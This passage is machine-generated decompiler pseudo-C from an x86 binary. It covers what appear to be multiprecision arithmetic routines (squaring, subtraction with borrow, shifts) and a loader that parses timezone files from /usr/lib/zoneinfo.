                        if(eax > 1) {
                            if(eax > 2) {
                                *ebx = *Vffffffec;
                                ecx = 1;
                            }
                            *(ebx + ecx * 4) = *(Vffffffec + ecx * 4);
                            ecx = ecx + 1;
                        }
                        *(ebx + ecx * 4) = *(Vffffffec + ecx * 4);
                        ecx = ecx + 1;
                        if(Vfffffff0 != ecx) {
L080594e0:
                            do {
                                edi = Vffffffec;
                                *(ebx + ecx * 4) = *(edi + ecx * 4);
                                edx = ecx + 1;
                                *(ebx + edx * 4) = *(edi + edx * 4);
                                edx = ecx + 2;
                                *(ebx + edx * 4) = *(edi + edx * 4);
                                edx = ecx + 3;
                                *(ebx + edx * 4) = *(edi + edx * 4);
                                ecx = ecx + 4;
                            } while(Vfffffff0 != ecx);
                        }
                    }
                }
            }
        }
    }
L0805950c:
    ecx = 0;
    if(Vfffffffc > 0) {
        if(eax = Vfffffffc & 3) {
            goto L08059550;
        }
        if(eax > 1) {
            if(eax > 2) {
                *A8 = *A18;
                ecx = 1;
            }
            eax = *(A18 + ecx * 4);
            *(A8 + ecx * 4) = eax;
            ecx = ecx + 1;
        }
        eax = *(A18 + ecx * 4);
        *(A8 + ecx * 4) = eax;
        ecx = ecx + 1;
        if(Vfffffffc != ecx) {
L08059550:
            do {
                esi = A18;
                eax = *(esi + ecx * 4);
                edi = A8;
                *(edi + ecx * 4) = eax;
                eax = ecx + 1;
                *(edi + eax * 4) = *(esi + eax * 4);
                eax = ecx + 2;
                *(edi + eax * 4) = *(esi + eax * 4);
                eax = ecx + 3;
                *(edi + eax * 4) = *(esi + eax * 4);
                ecx = ecx + 4;
            } while(Vfffffffc != ecx);
        }
    }
    esi = Vfffffffc;
    eax = esi * 4;
    eax = eax + A8;
    eax = L08066380(eax, eax, A18 + eax, esi);
    Vfffffff8 = eax;
    if(eax != 0) {
        edi = A14;
        ebx = A8 + edi * 4;
        Vfffffff0 = edi;
        edx = *ebx;
        Vffffffec = ebx + 4;
        eax = edx + 1;
        *ebx = eax;
        ebx = Vffffffec;
        if(eax >= edx) {
            goto L080596a0;
        }
        if(!(Vfffffff0 = Vfffffff0 - 1)) {
            eax = ~Vfffffff0 & 3;
            if(Vfffffff0 > 0) {
                if(eax == 0) {
                    goto L08059644;
                }
                if(eax < 3) {
                    if(eax < 2) {
                        edx = *ebx + 1;
                        Vffffffec = ebx + 4;
                        *ebx = edx;
                        ebx = Vffffffec;
                        if(edx != 0) {
                            goto L080596a0;
                        }
                        Vfffffff0 = Vfffffff0 - 1;
                    }
                    edi = Vffffffec;
                    edx = *edi + 1;
                    Vffffffec = edi + 4;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L080596a0;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                }
            }
            esi = Vffffffec;
            edx = *esi + 1;
            Vffffffec = esi + 4;
            *ebx = edx;
            ebx = ebx + 4;
            if(edx != 0) {
                goto L080596a0;
            }
            if(!(Vfffffff0 = Vfffffff0 - 1)) {
L08059644:
                do {
                    edi = Vffffffec;
                    edx = *edi + 1;
                    edi = edi + 4;
                    Vffffffec = edi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L080596a0;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                    edx = *edi + 1;
                    edi = edi + 4;
                    Vffffffec = edi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L080596a0;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                    edx = *edi + 1;
                    edi = edi + 4;
                    Vffffffec = edi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L080596a0;
                    }
                    Vfffffff0 = Vfffffff0 - 1;
                    edx = *edi + 1;
                    Vffffffec = edi + 4;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L080596a0;
                    }
                } while(Vfffffff0 = Vfffffff0 - 1);
                goto L08059710;
L080596a0:
                if(Vffffffec != ebx) {
                    ecx = 0;
                    esi = Vfffffff0 - 1;
                    Vfffffff0 = esi;
                    if(0 < esi) {
                        if(eax = esi & 3) {
                            goto L080596e4;
                        }
                        if(eax > 1) {
                            if(eax > 2) {
                                *ebx = *Vffffffec;
                                ecx = 1;
                            }
                            *(ebx + ecx * 4) = *(Vffffffec + ecx * 4);
                            ecx = ecx + 1;
                        }
                        eax = *(Vffffffec + ecx * 4);
                        *(ebx + ecx * 4) = eax;
                        ecx = ecx + 1;
                        if(Vfffffff0 != ecx) {
L080596e4:
                            do {
                                esi = Vffffffec;
                                *(ebx + ecx * 4) = *(esi + ecx * 4);
                                edx = ecx + 1;
                                *(ebx + edx * 4) = *(esi + edx * 4);
                                edx = ecx + 2;
                                *(ebx + edx * 4) = *(esi + edx * 4);
                                edx = ecx + 3;
                                eax = *(esi + edx * 4);
                                *(ebx + edx * 4) = eax;
                                ecx = ecx + 4;
                            } while(Vfffffff0 != ecx);
                        }
                    }
                }
            }
        }
    }
L08059710:
    esp = ebp - 32;
}

/*	Procedure: 0x0805971A - 0x0805971B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805971A()
{



}

/*	Procedure: 0x0805971C - 0x08059935
 *	Argument size: 12
 *	Local size: 8
 *	Save regs size: 12
 */

L0805971C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    eax = *Ac;
    if(eax <= 1) {
        != ? 0x80597ac : ;
        ecx = 0;
        if(A10 > 0) {
            if(eax = A10 & 3) {
                goto L0805977c;
            }
            if(eax > 1) {
                if(eax > 2) {
                    *ebx = 1;
                    ecx = 1;
                }
                *(ebx + ecx * 4) = *(Ac + ecx * 4);
                ecx = ecx + 1;
            }
            eax = *(Ac + ecx * 4);
            *(ebx + ecx * 4) = eax;
            ecx = ecx + 1;
            if(A10 != ecx) {
L0805977c:
                do {
                    edi = Ac;
                    *(ebx + ecx * 4) = *(edi + ecx * 4);
                    eax = ecx + 1;
                    *(ebx + eax * 4) = *(edi + eax * 4);
                    eax = ecx + 2;
                    *(ebx + eax * 4) = *(edi + eax * 4);
                    eax = ecx + 3;
                    *(ebx + eax * 4) = *(edi + eax * 4);
                    ecx = ecx + 4;
                } while(A10 != ecx);
                goto L0805980b;
                eax = 0;
                if(A10 > 0) {
                    if(edx = A10 & 3) {
                        goto L080597e4;
                    }
                    if(edx > 1) {
                        if(edx > 2) {
                            *ebx = 0;
                            eax = 1;
                        }
                        *(ebx + eax * 4) = 0;
                        eax = eax + 1;
                    }
                    *(ebx + eax * 4) = 0;
                    eax = eax + 1;
                    if(A10 != eax) {
L080597e4:
                        *(ebx + eax * 4) = 0;
                        *(ebx + eax * 4 + 4) = 0;
                        *(ebx + eax * 4 + 8) = 0;
                        *(ebx + eax * 4 + 12) = 0;
                        eax = eax + 4;
                        if(A10 != eax) {
                            goto L080597e4;
                        }
                    }
                }
            }
        }
L0805980b:
        edx = 0;
    } else {
        eax = L08058DE0(ebx, Ac, A10, eax);
        edx = eax;
    }
    esi = A10;
    *(ebx + esi * 4) = edx;
    ebx = ebx + 4;
    Vfffffffc = 1;
    if(Vfffffffc < esi) {
        if(!(esi & 1)) {
            edi = Ac;
            eax = *(edi + 4);
            if(eax <= 1) {
                edx = 0;
                if(eax != 1) {
                    goto L08059878;
                }
                (save)esi;
                (save)edi;
                (save)ebx;
                (save)ebx;
                eax = L08066380();
            } else {
                eax = L08066420(ebx, Ac, A10, eax);
            }
            edx = eax;
L08059878:
            esi = A10;
            *(ebx + esi * 4) = edx;
            ebx = ebx + 4;
            Vfffffffc = Vfffffffc + 1;
            if(Vfffffffc == esi) {
                goto L0805992c;
            }
        }
        do {
            esi = Ac;
            eax = *(esi + Vfffffffc * 4);
            if(eax > 1) {
                eax = L08066420(ebx, Ac, A10, eax);
            } else {
                edx = 0;
                if(eax != 1) {
                    goto L080598c8;
                }
                (save)A10;
                (save)esi;
                (save)ebx;
                (save)ebx;
                eax = L08066380();
            }
            edx = eax;
L080598c8:
            *(ebx + A10 * 4) = edx;
            Vfffffff8 = ebx + 4;
            edi = Ac;
            eax = *(edi + Vfffffffc * 4 + 4);
            if(eax > 1) {
                eax = L08066420(Vfffffff8, Ac, A10, eax);
            } else {
                edx = 0;
                if(eax != 1) {
                    goto L08059913;
                }
                (save)A10;
                (save)edi;
                edi = Vfffffff8;
                (save)edi;
                (save)edi;
                eax = L08066380();
            }
            edx = eax;
L08059913:
            edi = A10;
            *(Vfffffff8 + edi * 4) = edx;
            ebx = ebx + 8;
            Vfffffffc = Vfffffffc + 2;
        } while(Vfffffffc != edi);
    }
L0805992c:
    esp = ebp - 20;
}

/*	Procedure: 0x08059936 - 0x08059937
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08059936()
{



}

/*	Procedure: 0x08059938 - 0x08059F49
 *	Argument size: 16
 *	Local size: 16
 *	Save regs size: 12
 */

L08059938(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    esi = A10;
    if(!(esi & 1)) {
        esi = esi - 1;
        Vfffffff0 = esi;
        if(esi > 31) {
            L08059938(A8, Ac, esi, A14);
L0805996e:
            esi = Vfffffff0;
            edi = Ac;
            (save) *(edi + esi * 4);
            (save)esi;
            (save)edi;
            edi = A8;
            ebx = edi + esi * 4;
            (save)ebx;
            *(edi + (Vfffffff0 + Vfffffff0) * 4) = L08066420();
            edi = Ac;
            (save) *(edi + esi * 4);
            (save)A10;
            (save)edi;
            (save)ebx;
            eax = A10 + Vfffffff0;
            *(A8 + eax * 4) = L08066420();
            goto L08059f40;
        }
        L0805971C(A8, Ac, Vfffffff0);
        goto L0805996e;
L080599d0:
        edi = Vfffffffc;
        L0805971C(A8 + A10 * 4, Ac + edi * 4, edi);
    } else {
        edi = A10 >> 1;
        Vfffffffc = edi;
        if(edi <= 31) {
            goto L080599d0;
        }
        L08059938(A8 + A10 * 4, Ac + edi * 4, edi, A14);
    }
    edi = Vfffffffc;
    esi = Ac;
    ebx = esi + edi * 4;
    if(L08057F48(ebx, esi, edi) >= 0) {
        (save)edi;
        (save)esi;
        (save)ebx;
        (save)A8;
        goto L08059a84;
L08059a40:
        L0805971C(A14, A8, Vfffffffc);
        goto L08059ab0;
L08059a58:
        L0805971C(A14, Ac, Vfffffffc);
    } else {
        esi = Vfffffffc;
        (save)esi;
        edi = Ac;
        (save)edi + esi * 4;
        (save)edi;
        (save)A8;
L08059a84:
        L0805A010();
        esp = esp + 16;
        if(Vfffffffc <= 31) {
            goto L08059a40;
        }
        L08059938(A14, A8, Vfffffffc, A14 + A10 * 4);
L08059ab0:
        if(Vfffffffc > 0) {
            edx = A10 * 4;
            edi = Vfffffffc;
            ecx = edi * 4;
            ebx = edx + ecx;
            if(eax = edi & 3) {
                goto L08059b14;
            }
            if(eax > 1) {
                if(eax > 2) {
                    esi = A8;
                    *(esi + ecx) = *(esi + edx);
                    edx = edx + 4;
                    ecx = ecx + 4;
                }
                edi = A8;
                *(edi + ecx) = *(edi + edx);
                edx = edx + 4;
                ecx = ecx + 4;
            }
            esi = A8;
            *(esi + ecx) = *(esi + edx);
            edx = edx + 4;
            ecx = ecx + 4;
            if(edx != ebx) {
L08059b14:
                do {
                    edi = A8;
                    *(edi + ecx) = *(edi + edx);
                    *(edi + ecx + 4) = *(edi + edx + 4);
                    *(edi + ecx + 8) = *(edi + edx + 8);
                    *(edi + ecx + 12) = *(edi + edx + 12);
                    edx = edx + 16;
                    ecx = ecx + 16;
                } while(edx != ebx);
            }
        }
        esi = Vfffffffc;
        (save)esi;
        edi = A10 << 2;
        Vfffffff0 = edi;
        eax = A8 + Vfffffff0;
        ebx = esi * 4;
        (save)ebx + eax;
        (save)eax;
        (save)eax;
        Vfffffff8 = L08066380();
        (save)A10;
        (save)A14;
        ebx = ebx + A8;
        (save)ebx;
        (save)ebx;
        Vfffffff8 = Vfffffff8 - L0805A010();
        esp = esp + 32;
        if(Vfffffffc <= 31) {
            goto L08059a58;
        }
        L08059938(A14, Ac, Vfffffffc, A14 + Vfffffff0);
    }
    ebx = A8 + Vfffffffc * 4;
    Vfffffff8 = Vfffffff8 + L08066380(ebx, ebx, A14, A10);
    if(Vfffffff8 != 0) {
        ebx = ebx + A10 * 4;
        esi = Vfffffffc;
        Vfffffff4 = esi;
        edx = *ebx;
        Vfffffff0 = ebx + 4;
        eax = Vfffffff8 + edx;
        *ebx = eax;
        ebx = Vfffffff0;
        if(eax >= edx) {
            goto L08059ccc;
        }
        Vfffffff4 = esi;
        if(!(esi = esi - 1)) {
            eax = ~esi & 3;
            if(esi > 0) {
                if(eax == 0) {
                    goto L08059c70;
                }
                if(eax < 3) {
                    if(eax < 2) {
                        edx = *ebx + 1;
                        Vfffffff0 = ebx + 4;
                        *ebx = edx;
                        ebx = Vfffffff0;
                        if(edx != 0) {
                            goto L08059ccc;
                        }
                        Vfffffff4 = Vfffffffc + -2;
                    }
                    esi = Vfffffff0;
                    edx = *esi + 1;
                    Vfffffff0 = esi + 4;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ccc;
                    }
                    Vfffffff4 = Vfffffff4 - 1;
                }
            }
            edi = Vfffffff0;
            edx = *edi + 1;
            Vfffffff0 = edi + 4;
            *ebx = edx;
            ebx = ebx + 4;
            if(edx != 0) {
                goto L08059ccc;
            }
            if(!(Vfffffff4 = Vfffffff4 - 1)) {
L08059c70:
                do {
                    esi = Vfffffff0;
                    edx = *esi + 1;
                    esi = esi + 4;
                    Vfffffff0 = esi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ccc;
                    }
                    Vfffffff4 = Vfffffff4 - 1;
                    edx = *esi + 1;
                    esi = esi + 4;
                    Vfffffff0 = esi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ccc;
                    }
                    Vfffffff4 = Vfffffff4 - 1;
                    edx = *esi + 1;
                    esi = esi + 4;
                    Vfffffff0 = esi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ccc;
                    }
                    Vfffffff4 = Vfffffff4 - 1;
                    edx = *esi + 1;
                    Vfffffff0 = esi + 4;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ccc;
                    }
                } while(Vfffffff4 = Vfffffff4 - 1);
                goto L08059d3c;
L08059ccc:
                if(Vfffffff0 != ebx) {
                    ecx = 0;
                    edi = Vfffffff4 - 1;
                    Vfffffff4 = edi;
                    if(0 < edi) {
                        if(eax = edi & 3) {
                            goto L08059d10;
                        }
                        if(eax > 1) {
                            if(eax > 2) {
                                *ebx = *Vfffffff0;
                                ecx = 1;
                            }
                            *(ebx + ecx * 4) = *(Vfffffff0 + ecx * 4);
                            ecx = ecx + 1;
                        }
                        *(ebx + ecx * 4) = *(Vfffffff0 + ecx * 4);
                        ecx = ecx + 1;
                        if(Vfffffff4 != ecx) {
L08059d10:
                            do {
                                edi = Vfffffff0;
                                *(ebx + ecx * 4) = *(edi + ecx * 4);
                                edx = ecx + 1;
                                *(ebx + edx * 4) = *(edi + edx * 4);
                                edx = ecx + 2;
                                *(ebx + edx * 4) = *(edi + edx * 4);
                                edx = ecx + 3;
                                *(ebx + edx * 4) = *(edi + edx * 4);
                                ecx = ecx + 4;
                            } while(Vfffffff4 != ecx);
                        }
                    }
                }
            }
        }
    }
L08059d3c:
    ecx = 0;
    if(Vfffffffc > 0) {
        if(eax = Vfffffffc & 3) {
            goto L08059d80;
        }
        if(eax > 1) {
            if(eax > 2) {
                *A8 = *A14;
                ecx = 1;
            }
            eax = *(A14 + ecx * 4);
            *(A8 + ecx * 4) = eax;
            ecx = ecx + 1;
        }
        eax = *(A14 + ecx * 4);
        *(A8 + ecx * 4) = eax;
        ecx = ecx + 1;
        if(Vfffffffc != ecx) {
L08059d80:
            do {
                esi = A14;
                eax = *(esi + ecx * 4);
                edi = A8;
                *(edi + ecx * 4) = eax;
                eax = ecx + 1;
                *(edi + eax * 4) = *(esi + eax * 4);
                eax = ecx + 2;
                *(edi + eax * 4) = *(esi + eax * 4);
                eax = ecx + 3;
                *(edi + eax * 4) = *(esi + eax * 4);
                ecx = ecx + 4;
            } while(Vfffffffc != ecx);
        }
    }
    esi = Vfffffffc;
    eax = esi * 4;
    eax = eax + A8;
    eax = L08066380(eax, eax, A14 + eax, esi);
    Vfffffff8 = eax;
    if(eax != 0) {
        edi = A10;
        ebx = A8 + edi * 4;
        Vfffffff4 = edi;
        edx = *ebx;
        Vfffffff0 = ebx + 4;
        eax = edx + 1;
        *ebx = eax;
        ebx = Vfffffff0;
        if(eax >= edx) {
            goto L08059ed0;
        }
        if(!(Vfffffff4 = Vfffffff4 - 1)) {
            eax = ~Vfffffff4 & 3;
            if(Vfffffff4 > 0) {
                if(eax == 0) {
                    goto L08059e74;
                }
                if(eax < 3) {
                    if(eax < 2) {
                        edx = *ebx + 1;
                        Vfffffff0 = ebx + 4;
                        *ebx = edx;
                        ebx = Vfffffff0;
                        if(edx != 0) {
                            goto L08059ed0;
                        }
                        Vfffffff4 = Vfffffff4 - 1;
                    }
                    edi = Vfffffff0;
                    edx = *edi + 1;
                    Vfffffff0 = edi + 4;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ed0;
                    }
                    Vfffffff4 = Vfffffff4 - 1;
                }
            }
            esi = Vfffffff0;
            edx = *esi + 1;
            Vfffffff0 = esi + 4;
            *ebx = edx;
            ebx = ebx + 4;
            if(edx != 0) {
                goto L08059ed0;
            }
            if(!(Vfffffff4 = Vfffffff4 - 1)) {
L08059e74:
                do {
                    edi = Vfffffff0;
                    edx = *edi + 1;
                    edi = edi + 4;
                    Vfffffff0 = edi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ed0;
                    }
                    Vfffffff4 = Vfffffff4 - 1;
                    edx = *edi + 1;
                    edi = edi + 4;
                    Vfffffff0 = edi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ed0;
                    }
                    Vfffffff4 = Vfffffff4 - 1;
                    edx = *edi + 1;
                    edi = edi + 4;
                    Vfffffff0 = edi;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ed0;
                    }
                    Vfffffff4 = Vfffffff4 - 1;
                    edx = *edi + 1;
                    Vfffffff0 = edi + 4;
                    *ebx = edx;
                    ebx = ebx + 4;
                    if(edx != 0) {
                        goto L08059ed0;
                    }
                } while(Vfffffff4 = Vfffffff4 - 1);
                goto L08059f40;
L08059ed0:
                if(Vfffffff0 != ebx) {
                    ecx = 0;
                    esi = Vfffffff4 - 1;
                    Vfffffff4 = esi;
                    if(0 < esi) {
                        if(eax = esi & 3) {
                            goto L08059f14;
                        }
                        if(eax > 1) {
                            if(eax > 2) {
                                *ebx = *Vfffffff0;
                                ecx = 1;
                            }
                            *(ebx + ecx * 4) = *(Vfffffff0 + ecx * 4);
                            ecx = ecx + 1;
                        }
                        eax = *(Vfffffff0 + ecx * 4);
                        *(ebx + ecx * 4) = eax;
                        ecx = ecx + 1;
                        if(Vfffffff4 != ecx) {
L08059f14:
                            do {
                                esi = Vfffffff0;
                                *(ebx + ecx * 4) = *(esi + ecx * 4);
                                edx = ecx + 1;
                                *(ebx + edx * 4) = *(esi + edx * 4);
                                edx = ecx + 2;
                                *(ebx + edx * 4) = *(esi + edx * 4);
                                edx = ecx + 3;
                                eax = *(esi + edx * 4);
                                *(ebx + edx * 4) = eax;
                                ecx = ecx + 4;
                            } while(Vfffffff4 != ecx);
                        }
                    }
                }
            }
        }
    }
L08059f40:
    esp = ebp - 28;
}

/*	Procedure: 0x08059F4A - 0x08059FAF
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 8
 */

L08059F4A(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{



    if(Ac == A10) {
        if(A14 <= 31) {
            eax = L0805971C(A8, Ac, A14);
        } else {
            esp = esp - A14 * 8;
            eax = L08059938(A8, Ac, A14, esp);
        }
    } else {
        if(A14 <= 31) {
            eax = L08058E20(A8, Ac, A10, A14);
        } else {
            esp = esp - A14 * 8;
            eax = L08059048(A8, Ac, A10, A14, esp);
        }
    }
}

/*	Procedure: 0x08059FB0 - 0x0805A00A
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L08059FB0(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    edx = A10;
    edi = A8 + edx * 4 - 4;
    esi = Ac + edx * 4;
    edx = ~edx;
    ebx = *(esi + edx * 4);
    eax = 0;
    asm("shrd eax,ebx,cl");
    if(!(edx = edx + 1)) {
        (save)eax;
        if(!(dl & 1)) {
            eax = ebx;
L08059fe0:
            ebx = *(esi + edx * 4);
            asm("shrd eax,ebx,cl");
            *(edi + edx * 4) = eax;
            edx = edx + 1;
        }
        eax = *(esi + edx * 4);
        asm("shrd ebx,eax,cl");
        *(edi + edx * 4) = ebx;
        if(edx = edx + 1) {
            goto L08059fe0;
        }
        *edi = eax >> cl;
        (restore)eax;
    } else {
        *edi = ebx >> cl;
    }
}

/*	Procedure: 0x0805A00B - 0x0805A00F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805A00B()
{



}

/*	Procedure: 0x0805A010 - 0x0805A0AD
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 8
 */

L0805A010(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    edi = A8;
    esi = Ac;
    edx = A10;
    ecx = A14;
    eax = ecx;
    ecx = ecx >> 3;
    if(!(eax = ~eax & 7)) {
        ecx = ecx + 1;
        edi = edi - (eax << 2);
        esi = esi - eax;
        edx = edx - eax;
        goto ((eax >> 2) + (eax >> 2) * 8 + 0x805a04d);
    }
    do {
        eax = *esi;
        asm("sbb eax,[edx]");
        *edi = eax;
        eax = *(esi + 4);
        asm("sbb eax,[edx+0x4]");
        *(edi + 4) = eax;
        eax = *(esi + 8);
        asm("sbb eax,[edx+0x8]");
        *(edi + 8) = eax;
        eax = *(esi + 12);
        asm("sbb eax,[edx+0xc]");
        *(edi + 12) = eax;
        eax = *(esi + 16);
        asm("sbb eax,[edx+0x10]");
        *(edi + 16) = eax;
        eax = *(esi + 20);
        asm("sbb eax,[edx+0x14]");
        *(edi + 20) = eax;
        eax = *(esi + 24);
        asm("sbb eax,[edx+0x18]");
        *(edi + 24) = eax;
        eax = *(esi + 28);
        asm("sbb eax,[edx+0x1c]");
        *(edi + 28) = eax;
        edi = edi + 32;
        esi = esi + 32;
        edx = edx + 32;
    } while(ecx = ecx - 1);
    asm("sbb eax,eax");
    return(~eax);
}

/*	Procedure: 0x0805A0AE - 0x0805A0AF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805A0AE()
{



}

/*	Procedure: 0x0805A0B0 - 0x0805A0EE
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L0805A0B0(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    ecx = A10;
    (save)ebp;
    edi = A8 + ecx * 4;
    esi = Ac + ecx * 4;
    ecx = ~ecx;
    edx = 0;
    do {
        ebp = edx;
        eax = *(esi + ecx * 4);
        asm("mul ebx");
        eax = eax + ebp;
        asm("adc edx,+0x0");
        *(edi + ecx * 4) = *(edi + ecx * 4) - eax;
        asm("adc edx,+0x0");
    } while(ecx = ecx + 1);
    eax = edx;
    (restore)ebp;
}

/*	Procedure: 0x0805A0EF - 0x0805A0EF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805A0EF()
{



}

/*	Procedure: 0x0805A0F0 - 0x0805A11B
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805A0F0(A8)
/* unknown */ void  A8;
{



    eax = ( *A8 & 255) << 8;
    edx = (eax | *(A8 + 1) & 255) << 8;
    edx = ( *(A8 + 2) & 255 | edx) << 8;
    return(*(A8 + 3) & 255 | edx);
}

/*	Procedure: 0x0805A11C - 0x0805A250
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 12
 */

L0805A11C()
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    *L08078B1C = 0x8068ea4;
    *L08078B20 = 0x8068ea4;
    *L08078B28 = 0;
    *L08078B24 = 0;
    *L08078B2C = 0;
    ecx = 0;
    if(*L0807B0E8 > 0) {
        ebx = 0x807b82c;
        edx = 0x807b830;
        esi = 0;
        do {
            eax = *edx;
            *(eax * 4 + 0x8078b1c) = *(esi + 0x807b834) + 0x807c82c;
            if(*edx != 0) {
                *L08078B28 = 1;
            }
            if(ecx != 0 && *edx != 0) {
                goto L0805a1a8;
            }
            *L08078B24 = ~( *ebx);
            if(*edx != 0) {
L0805a1a8:
                *L08078B2C = ~( *ebx);
            }
            ebx = ebx + 16;
            edx = edx + 16;
            esi = esi + 16;
            ecx = ecx + 1;
        } while(*L0807B0E8 > ecx);
    }
    eax = time(0);
    esi = eax + 31622400;
    ecx = 0;
    if(*L0807B0E4 > 0) {
        ebx = 0x807b0e0;
        do {
            if(*(ebx + ecx * 4 + 16) <= esi) {
                edx = (( *(ebx + ecx + 1496) & 255) << 4) + 0x807b82c;
                eax = *(edx + 4);
                *(eax * 4 + 0x8078b1c) = *(edx + 8) + 0x807c82c;
                if(*(edx + 4) != 0) {
                    *L08078B28 = 1;
                }
                if(ecx != 0 && *(edx + 4) != 0) {
                    goto L0805a234;
                }
                *L08078B24 = ~( *edx);
                if(*(edx + 4) != 0) {
L0805a234:
                    *L08078B2C = ~( *edx);
                }
            }
            ecx = ecx + 1;
        } while(*L0807B0E4 > ecx);
    }
}

/*	Procedure: 0x0805A251 - 0x0805A253
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805A251()
{



}

/*	Procedure: 0x0805A254 - 0x0805A583
 *	Argument size: 8
 *	Local size: 7504
 *	Save regs size: 12
 */

L0805A254(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffe2b0;
	/* unknown */ void  Vffffe2b4;
	/* unknown */ void  Vffffe2b8;
	/* unknown */ void  Vffffe2bc;
	/* unknown */ void  Vffffe2c0;
	/* unknown */ void  Vffffe2d8;
	/* unknown */ void  Vffffe2dc;
	/* unknown */ void  Vffffe2e0;
	/* unknown */ void  Vffffe2e4;
	/* unknown */ void  Vffffe2e8;
	/* unknown */ void  Vffffe2ec;
	/* unknown */ void  Vfffffbfc;



    if(A8 == 0) {
        A8 = "localtime";
        if(A8 == 0) {
            goto L0805a3ef;
        }
    }
    edx = A8;
    if(*edx == 58) {
        A8 = edx + 1;
    }
    if(*A8 != 47) {
        esi = "/usr/lib/zoneinfo";
        if(esi == 0) {
            goto L0805a3ef;
        }
        al = 0;
        edi = esi;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        edx = !ecx;
        edi = A8;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        if(edx + !ecx - 1 > 1024) {
            goto L0805a3ef;
        }
        (save)esi;
        ebx = & Vfffffbfc;
        L08056640(ebx);
        (save)"/";
        L080577C0(ebx);
        (save)A8;
        L080577C0(ebx);
        A8 = ebx;
    }
    ebx = L080572DC(A8, 0);
    if(ebx != -1) {
        edi = L0805730C(ebx, & Vffffe2c0, 6460);
        if(close(ebx) == 0 && edi > 43) {
            Vffffe2bc = L0805A0F0( & Vffffe2d8);
            *Ac = L0805A0F0( & Vffffe2dc);
            *(Ac + 4) = L0805A0F0( & Vffffe2e0);
            *(Ac + 8) = L0805A0F0( & Vffffe2e4);
            ebx = L0805A0F0( & Vffffe2e8);
            ecx = Ac;
            *(ecx + 12) = ebx;
            if(*ecx <= 50 && *(ecx + 8) - 1 <= 255 && *(ecx + 4) <= 370 && ebx <= 50) {
                edx = Vffffe2bc;
                if(*(ecx + 8) == edx) {
                    goto L0805a3c0;
                }
                if(edx == 0) {
L0805a3c0:
                    ecx = Ac;
                    ebx = *(ecx + 4) + *(ecx + 4) * 4;
                    eax = *(ecx + 8);
                    eax = eax + eax + eax * 4 + 44 + ebx + *(ecx + 12);
                    edx = *ecx << 3;
                    Vffffe2b0 = edx;
                    if(edi >= eax + Vffffe2b0 + Vffffe2bc) {
                        goto L0805a3fc;
                    }
                }
            }
        }
    }
L0805a3ef:
    eax = -1;
    goto L0805a577;
L0805a3fc:
    esi = & Vffffe2ec;
    edi = 0;
    if(*(Ac + 4) > 0) {
        do {
            eax = L0805A0F0(esi);
            edx = Ac;
            *(edx + edi * 4 + 16) = eax;
